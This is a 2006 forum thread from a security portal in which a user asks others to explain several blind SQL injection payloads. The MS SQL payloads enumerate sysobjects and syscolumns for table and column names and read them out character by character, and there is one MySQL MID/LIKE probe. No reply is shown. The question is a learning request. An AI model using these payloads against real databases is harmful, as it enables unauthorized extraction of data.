|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 120
Members: 0
Total: 120
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
[QUE]SQL Injection queries |
|
Posted: Sat Feb 25, 2006 5:16 am |
|
|
Pi3cH |
Regular user |
|
|
Joined: Dec 15, 2005 |
Posts: 7 |
|
|
|
|
|
|
|
hi there
i have some question about below queries, could some one explain(analyze) them for me?
these queries use for blind sql injection.
Code: | 1. AND (SELECT COUNT(name) FROM sysobjects WHERE xtype=char(85)) > search_value
2. AND (SELECT MIN(id) FROM sysobjects WHERE id > prev_table_id AND xtype=char(85)) > search_value
3. AND (SELECT ASCII(SUBSTRING(name,character_counter,1)) FROM sysobjects WHERE id = table_id) > search_value
4. AND (SELECT TOP 1 (xtype) FROM syscolumns WHERE id = table_id AND colid = colid) > search_value |
and this is for mysql blind sql injection
Code: | AND MID($$$VAL$$$,1,1) LIKE CHAR(37) |
what is $$$VAL$$$ do there? |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|